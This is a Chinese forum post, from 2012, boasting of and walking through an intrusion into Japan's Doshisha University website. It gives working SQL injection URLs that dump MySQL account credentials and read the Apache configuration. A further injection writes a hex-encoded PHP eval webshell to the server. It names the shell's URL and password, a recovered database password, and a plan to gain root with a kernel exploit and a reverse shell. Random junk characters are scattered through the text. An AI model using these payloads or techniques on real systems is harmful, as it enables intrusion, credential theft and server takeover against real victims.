找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2768|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
9 f, {1 s! x; `8 F, V! y, {! d1 }1 B! a; e" m. e
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
! a, X9 q  o* r) V' n- I" Q' d, O  W然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:: t$ K6 w5 ~0 b! c1 N  r7 C6 h

3 A. e! L  X; mhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
/ @% U3 l2 g) _: o3 i2 z5 T( M
' x( s) i% U  C; m. z* l1 Q5 r ! p( G5 x6 ~/ P  j2 t0 N  Q3 ?) r
! U  G0 m! t. o4 V
//@@datadir为数据库文件路径 4 R, K, o) _6 P5 b  V6 t
% m5 Z% d4 ^* U. a
4 A6 ~+ ^5 Q5 K
//load_file读取网站容器apache的配置文件
) O1 _3 x" P+ q! u
; l. O! l  j9 a6 P
* H; d$ l7 \% H: ]//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 , J5 h1 M* I( _' ^" z$ e
复制代码
- n8 [6 |5 e7 a1 @" Y
* i- ^8 A# h% f: v) ?& l  a/ V2 w虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。5 u5 v; f2 v6 V3 V3 G

7 c* Z& |- T0 w8 @: w) f- h1 F0 {而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。0 Z8 z5 f; }9 v, R$ ^
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
! |- H5 i3 G+ F3 t: u+ T/ l2 U! X8 x
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
2 M- ?/ `5 k2 ^4 T& w如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
6 ^" H( |3 }  O. E
# s: a* g3 d! `: T既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
9 L! Q5 I% L) C, p. W: N虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。: z! _" i# v' ~; @3 c
直接写一句话:9 ?" P. b: [8 o. S3 }1 c0 R

8 r/ `' s. @, b2 D: T' @+ Nhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
2 |* ^+ q- ^( B0 `3 ]1 |
* l. J& X# C; h
: `: @+ @* f# F4 a3 u9 g. A: a2 _' l% e1 ~7 v
//最后的#是为了闭合前面的语句 4 f3 m$ ^- o6 A6 i; l7 Z
1 ?. c$ I! e7 W

& t7 T1 w8 d4 u9 ?1 t/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ' g* d) C/ a; D

+ n% m8 W! |; T  @0 ^0 w
" R* m. P0 d1 h/ s6 U为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
- [9 d2 ^7 C, l% t2 n) D' \
/ y1 C. k$ f* ?6 J2 w1 ~  E! U8 J* U
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
, d, h: o9 }0 t7 l& T5 j
2 k. J/ @4 n0 B# }0 _) w  r2 l& t: Q( w
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
& W. d/ J% R9 G# \//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 2 y$ G3 L3 Q  h/ O. ^8 F0 s
复制代码4 g6 _# K! `6 U6 P
% X" P/ N5 p( t. t& i. L
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
, a8 O) h5 H" G+ Q通过上述注入语句,我们就得到了一句话木马:
2 m& V8 Y+ N/ i9 N. v, l6 H1 M: o; U
- d0 P/ o+ m1 S& V, P
; t6 }0 U$ w1 y% P% H
; w. C& w$ l" J( |- T+ t& y . y  o4 F+ B2 `$ K& J
2 w6 R2 C2 N, ^  t
http://www.doshisha.ac.jp/english/engnews_img/aa.php
+ j! C7 o4 J; k3 V复制代码
; u3 I# |6 d; W, o
& h2 H" [8 }* p9 c" i  l/ y% e用菜刀连接,密码是cmd,如图所示:
' L, }6 c% R5 G% u然后在命令提示行里看了一下,现在的权限是:
& \; y( h4 ]1 n
" t/ u2 A" \4 m, X5 i- z* l之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
. F" ~. }6 k, Z: n2 d好在赋权给这个文件夹不需要root,直接执行赋权语句:
) R! a- o0 t; F9 c$ g  F* q) o2 t4 {. F% ]

+ ^1 M' M! ]# ^
, E' \& q9 G1 |- X# {9 | ( a. K) F' x; N9 Q8 v

- @' S- f( u8 q: j2 W% O' Uchmod +x /tmp/
. \1 ?9 d% s$ ]2 D复制代码  _$ D. ?0 B/ z6 A8 ]* L8 V0 E& a
/ G' o: s! h: J' o1 }7 @
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行) ^4 q9 d0 u) l; c2 d
然后就查了一下内核版本:
( U. o. ^3 N3 n8 _
) J6 x2 f7 M0 T* H8 N
/ z' ?7 y8 n2 w4 i! ?9 K: Q) l9 q, v' T' V- E6 y! w# I& z) {, ?: t

4 ~- O- \# {" n- E- Z. B) U' y
# A6 x1 l  K1 j* xuname-a 3 T+ t9 h  y# P$ L

1 @0 e1 U/ h4 O  o# ]
7 U& f# R. m1 H9 f//其实lsb_release -a
, B; N6 Z( q3 K复制代码% k: y! K; @/ B$ s4 c+ q

# l% W8 V( I' d% W; N' C( N# I5 R. X如图所示:' j/ g& c) e9 m  n) r

) r& [- w# P9 R: m+ g内核版本:linux mainz1 2.6.28-194.e15
6 r; W7 L$ A+ D6 g7 |7 V3 ^系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)( ]9 R3 V/ u7 N
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹4 [7 D: n& _* `* Y# o8 N1 k
$ P, N" X1 N4 N4 _# q! A
然后给予执行权限
0 \2 `) c( S+ s  u9 |7 B  l2 h一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样1 t* g- m! H4 O
: z: k$ r+ C! [9 o. Y- U9 c
* V$ q3 Y* g8 ?2 k8 a! n

! R9 x- \& u+ ]1 ?* M' ~ . Z4 A5 S1 x8 G  w7 Q' |9 z9 F# L7 D
1 e3 ?1 {& c. t# _
chmod +x /tmp/2.6.18-194
* O2 V, |6 c6 V复制代码 然后直接执行!~
$ P( l: o+ [4 R0 A# i7 N
( ~$ P4 h( G# f- b; |总结:+ G3 m! ?/ ^* x
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
) B' m( x9 A7 h. u0 G提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
8 X1 m+ Z5 t6 e
5 X; D8 ]# c, K' k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表